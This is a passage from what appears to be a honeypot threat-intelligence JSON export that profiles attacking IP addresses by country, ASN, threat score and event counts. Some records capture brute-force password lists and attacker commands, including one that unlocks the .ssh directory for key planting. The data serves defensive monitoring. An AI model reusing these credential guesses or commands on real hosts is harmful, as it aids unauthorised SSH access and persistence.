      "first_seen": "2026-04-09T12:08:55.120Z",
      "last_seen": "2026-04-09T12:14:06.552Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": null,
      "asn": 138423,
      "as_org": "CMPak Limited",
      "threat_score": 9.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 73,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-09T12:08:55.120000+00:00",
        "last_seen_30d": "2026-04-09T12:15:13.975000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 48,
        "Suricata": 25
      }
    },
    "206.135.169.80": {
      "attack_count": 42,
      "first_seen": "2026-04-28T02:24:36.578Z",
      "last_seen": "2026-04-28T02:29:08.962Z",
      "sessions": 21,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Lahore",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 28.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 64,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-28T02:24:36.578000+00:00",
        "last_seen_30d": "2026-04-28T02:30:16.293000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 42,
        "Suricata": 22
      }
    },
    "110.37.14.156": {
      "attack_count": 34,
      "first_seen": "2026-04-22T13:16:57.521Z",
      "last_seen": "2026-04-22T13:20:38.058Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Lahore",
      "asn": 38264,
      "as_org": "National WiMAXIMS environment",
      "threat_score": 22.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 17.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 52,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-22T13:16:57.521000+00:00",
        "last_seen_30d": "2026-04-22T13:21:38.675000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 34,
        "Suricata": 18
      }
    },
    "14.1.106.61": {
      "attack_count": 34,
      "first_seen": "2026-04-04T23:15:09.915Z",
      "last_seen": "2026-04-04T23:18:50.028Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Lahore",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 4.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 17.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 52,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-04T23:15:09.915000+00:00",
        "last_seen_30d": "2026-04-04T23:19:53.880000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 34,
        "Suricata": 18
      }
    },
    "172.94.9.129": {
      "attack_count": 28,
      "first_seen": "2026-04-10T11:06:34.805Z",
      "last_seen": "2026-04-11T22:36:39.530Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "Test@123",
        "Welcome#123",
        "Welcome123",
        "Welcome123!",
        "adminkelltech"
      ],
      "commands_executed": [
        "uname -a"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Iran",
      "country_code": "IR",
      "city": null,
      "asn": 213790,
      "as_org": "Limited Network LTD",
      "threat_score": 11.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.3,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 43,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-10T11:06:34.805000+00:00",
        "last_seen_30d": "2026-04-11T22:37:42.883000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 28,
        "Suricata": 15
      }
    },
    "172.94.9.160": {
      "attack_count": 28,
      "first_seen": "2026-04-10T12:56:49.632Z",
      "last_seen": "2026-04-15T16:40:19.476Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "root",
        "kelltech"
      ],
      "passwords_attempted": [
        "Kelltech@",
        "Kelltech@2020",
        "Kelltech@2023",
        "Kelltech@2026",
        "kelltech"
      ],
      "commands_executed": [
        "uname -a"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Iran",
      "country_code": "IR",
      "city": null,
      "asn": 213790,
      "as_org": "Limited Network LTD",
      "threat_score": 16.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.3,
        "persistence": 5.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 43,
        "days_active_30d": 6,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-10T12:56:49.632000+00:00",
        "last_seen_30d": "2026-04-15T16:41:22.128000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 28,
        "Suricata": 15
      }
    },
    "81.71.120.172": {
      "attack_count": 25,
      "first_seen": "2026-04-05T17:44:41.154Z",
      "last_seen": "2026-04-05T17:48:19.104Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "orangepi"
      ],
      "passwords_attempted": [
        "P",
        "admin",
        "orangepi",
        "password",
        "root"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Guangzhou",
      "asn": 45090,
      "as_org": "Shenzhen Tencent Computer Systems Company Limited",
      "threat_score": 4.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 37,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-05T17:44:41.154000+00:00",
        "last_seen_30d": "2026-04-05T17:49:23.122000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 25,
        "Suricata": 12
      }
    },
    "47.39.234.129": {
      "attack_count": 24,
      "first_seen": "2026-04-29T06:58:18.892Z",
      "last_seen": "2026-04-29T07:16:33.065Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Valley",
      "asn": 20115,
      "as_org": "Charter Communications LLC",
      "threat_score": 27.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 15.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 37,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-29T06:58:18.892000+00:00",
        "last_seen_30d": "2026-04-29T07:17:36.477000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 24,
        "Suricata": 13
      }
    },
    "176.9.45.29": {
      "attack_count": 20,
      "first_seen": "2026-04-13T23:35:12.854Z",
      "last_seen": "2026-04-13T23:35:16.524Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Falkenstein",
      "asn": 24940,
      "as_org": "Hetzner Online GmbH",
      "threat_score": 12.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 31,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-13T23:35:12.854000+00:00",
        "last_seen_30d": "2026-04-13T23:36:23.807000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 20,
        "Suricata": 11
      }
    },
    "118.114.15.36": {
      "attack_count": 19,
      "first_seen": "2026-04-09T06:56:57.361Z",
      "last_seen": "2026-04-09T07:08:36.856Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root",
        "steam",
        "ubuntu"
      ],
      "passwords_attempted": [
        "123654",
        "Pass2023",
        "cc1234"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Chengdu",
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 8.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 27,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-09T06:56:57.361000+00:00",
        "last_seen_30d": "2026-04-09T07:18:37.407000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 19,
        "Suricata": 8
      }
    },
    "175.125.21.44": {
      "attack_count": 13,
      "first_seen": "2026-04-10T16:54:11.145Z",
      "last_seen": "2026-04-10T21:18:41.235Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "1234!Kelltech",
        "123@kelltech"
      ],
      "commands_executed": [
        "uname -a"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": null,
      "asn": 9318,
      "as_org": "SK Broadband Co Ltd",
      "threat_score": 8.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 19,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-10T16:54:11.145000+00:00",
        "last_seen_30d": "2026-04-10T21:19:42.271000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 13,
        "Suricata": 6
      }
    },
    "176.251.64.35": {
      "attack_count": 12,
      "first_seen": "2026-04-30T14:47:29.755Z",
      "last_seen": "2026-04-30T15:08:26.765Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "Leytonstone",
      "asn": 5607,
      "as_org": "Sky UK Limited",
      "threat_score": 26.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 14.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 25,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T14:47:29.755000+00:00",
        "last_seen_30d": "2026-04-30T15:18:29.751000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 13,
        "Cowrie": 12
      }
    },
    "180.76.61.133": {
      "attack_count": 12,
      "first_seen": "2026-04-20T03:46:31.313Z",
      "last_seen": "2026-04-20T03:46:40.978Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "root"
      ],
      "passwords_attempted": [
        "kjashd123sadhj123d1SS"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 38365,
      "as_org": "Beijing Baidu Netcom Science and Technology Co., Ltd.",
      "threat_score": 16.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 18,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-20T03:46:31.313000+00:00",
        "last_seen_30d": "2026-04-20T03:47:45.084000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 12,
        "Suricata": 6
      }
    },
    "167.71.110.14": {
      "attack_count": 10,
      "first_seen": "2026-04-16T19:12:41.358Z",
      "last_seen": "2026-04-16T19:14:08.590Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "Accept-Encoding: gzip",
        "GET / HTTP/1.1",
        "User-Agent: Mozilla/5.0 zgrab/0.x"
      ],
      "passwords_attempted": [
        "",
        "Accept: */*",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 72.9,
      "threat_level": "high",
      "score_components": {
        "frequency": 30,
        "persistence": 9.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 104295,
        "days_active_30d": 11,
        "ports_targeted_30d": 64849,
        "honeypots_triggered_30d": 15,
        "first_seen_30d": "2026-04-16T19:12:21+00:00",
        "last_seen_30d": "2026-04-26T09:21:53.365000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Suricata": 94352,
        "Honeytrap": 9885,
        "Dionaea": 11,
        "ConPot": 10,
        "Cowrie": 10,
        "Miniprint": 8,
        "Mailoney": 6,
        "Redishoneypot": 3,
        "Adbhoney": 2,
        "Dicompot": 2,
        "Honeyaml": 1,
        "Ipphoney": 1,
        "Medpot": 1,
        "Tanner": 1
      }
    },
    "2.26.97.156": {
      "attack_count": 10,
      "first_seen": "2026-04-08T06:08:15.535Z",
      "last_seen": "2026-04-08T06:11:48.015Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "orangepi"
      ],
      "passwords_attempted": [
        "admin",
        "orangepi"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "Finland",
      "country_code": "FI",
      "city": "Helsinki",
      "asn": 215439,
      "as_org": "Play2go International Limited",
      "threat_score": 12.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 20.6,
        "persistence": 1.7,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 115,
        "days_active_30d": 2,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-08T06:06:21.402000+00:00",
        "last_seen_30d": "2026-04-09T09:38:25.219000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Suricata": 59,
        "Tanner": 46,
        "Cowrie": 10
      }
    },
    "45.156.128.56": {
      "attack_count": 10,
      "first_seen": "2026-04-07T08:19:20.901Z",
      "last_seen": "2026-04-07T08:20:06.979Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Portugal",
      "country_code": "PT",
      "city": null,
      "asn": 211680,
      "as_org": "Sistemas Informaticos, S.A.",
      "threat_score": 83.5,
      "threat_level": "critical",
      "score_components": {
        "frequency": 18.9,
        "persistence": 22.5,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 77,
        "days_active_30d": 27,
        "ports_targeted_30d": 11,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-04-03T09:55:44+00:00",
        "last_seen_30d": "2026-04-29T03:17:21.585000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 45,
        "Honeytrap": 17,
        "Cowrie": 10,
        "Dionaea": 3,
        "H0neytr4p": 2
      }
    },
    "111.52.249.29": {
      "attack_count": 9,
      "first_seen": "2026-04-21T03:06:31.185Z",
      "last_seen": "2026-04-21T03:08:38.036Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "ubuntu"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 56042,
      "as_org": "China Mobile communications corporation",
      "threat_score": 16.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 13,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-21T03:06:31.185000+00:00",
        "last_seen_30d": "2026-04-21T03:09:39.857000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 9,
        "Suricata": 4
      }
    },
    "185.129.61.1": {
      "attack_count": 8,
      "first_seen": "2026-04-26T20:07:19.060Z",
      "last_seen": "2026-04-26T20:07:44.346Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Denmark",
      "country_code": "DK",
      "city": null,
      "asn": 210731,
      "as_org": "Forening for DotSrc",
      "threat_score": 21.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 9.5,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 9,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-26T20:07:19.060000+00:00",
        "last_seen_30d": "2026-04-26T20:08:50.215000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 3
      }
    },
    "2.57.122.188": {
      "attack_count": 8,
      "first_seen": "2026-04-05T07:04:11.988Z",
      "last_seen": "2026-04-12T16:03:02.902Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Romania",
      "country_code": "RO",
      "city": null,
      "asn": 47890,
      "as_org": "Unmanaged Ltd",
      "threat_score": 12.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.5,
        "persistence": 6.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 14,
        "days_active_30d": 8,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-05T07:04:11.988000+00:00",
        "last_seen_30d": "2026-04-12T16:04:12.808000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 6
      }
    },
    "36.32.70.156": {
      "attack_count": 8,
      "first_seen": "2026-04-13T10:54:39.656Z",
      "last_seen": "2026-04-13T10:54:43.273Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "oelinux123",
        "root"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 10.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 11,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-13T10:54:39.656000+00:00",
        "last_seen_30d": "2026-04-13T10:55:53.254000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 3
      }
    },
    "47.93.97.12": {
      "attack_count": 8,
      "first_seen": "2026-04-10T23:26:41.122Z",
      "last_seen": "2026-04-10T23:29:18.579Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Beijing",
      "asn": 37963,
      "as_org": "Hangzhou Alibaba Advertising Co.,Ltd.",
      "threat_score": 8.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 15,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-10T23:26:41.122000+00:00",
        "last_seen_30d": "2026-04-10T23:39:25.802000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 7
      }
    },
    "58.65.245.25": {
      "attack_count": 8,
      "first_seen": "2026-04-29T07:46:48.385Z",
      "last_seen": "2026-04-29T07:54:52.612Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 24535,
      "as_org": "PT.Insan Sarana Telematika",
      "threat_score": 23.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 11.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 13,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-29T07:46:48.385000+00:00",
        "last_seen_30d": "2026-04-29T07:55:56.699000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 5
      }
    },
    "20.163.2.80": {
      "attack_count": 7,
      "first_seen": "2026-04-02T11:56:54.827Z",
      "last_seen": "2026-04-02T11:57:04.827Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Phoenix",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 60.5,
      "threat_level": "high",
      "score_components": {
        "frequency": 15.6,
        "persistence": 20.0,
        "diversity": 12,
        "spread": 25,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 36,
        "days_active_30d": 24,
        "ports_targeted_30d": 6,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-04-02T11:56:32.315000+00:00",
        "last_seen_30d": "2026-04-25T20:58:40.835000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Suricata": 22,
        "Cowrie": 7,
        "ConPot": 4,
        "Honeytrap": 2,
        "Mailoney": 1
      }
    },
    "20.168.14.25": {
      "attack_count": 7,
      "first_seen": "2026-04-19T16:14:12.808Z",
      "last_seen": "2026-04-19T16:14:22.799Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Phoenix",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 48.5,
      "threat_level": "medium",
      "score_components": {
        "frequency": 14.8,
        "persistence": 9.2,
        "diversity": 8,
        "spread": 20,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 30,
        "days_active_30d": 11,
        "ports_targeted_30d": 4,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-18T08:34:48.703000+00:00",
        "last_seen_30d": "2026-04-28T16:43:17.015000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 20,
        "Cowrie": 7,
        "Honeytrap": 2,
        "H0neytr4p": 1
      }
    },
    "66.132.172.205": {
      "attack_count": 6,
      "first_seen": "2026-04-04T00:37:58.981Z",
      "last_seen": "2026-04-04T00:38:43.720Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 92.5,
      "threat_level": "critical",
      "score_components": {
        "frequency": 22.5,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 179,
        "days_active_30d": 30,
        "ports_targeted_30d": 49,
        "honeypots_triggered_30d": 8,
        "first_seen_30d": "2026-04-01T10:51:14+00:00",
        "last_seen_30d": "2026-04-30T16:50:07.053000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 104,
        "Honeytrap": 55,
        "Cowrie": 6,
        "CitrixHoneypot": 4,
        "H0neytr4p": 4,
        "ConPot": 3,
        "Dionaea": 2,
        "Ipphoney": 1
      }
    },
    "66.132.172.39": {
      "attack_count": 6,
      "first_seen": "2026-04-11T09:36:49.855Z",
      "last_seen": "2026-04-11T09:39:22.601Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 85.2,
      "threat_level": "critical",
      "score_components": {
        "frequency": 21.1,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 1.0
      },
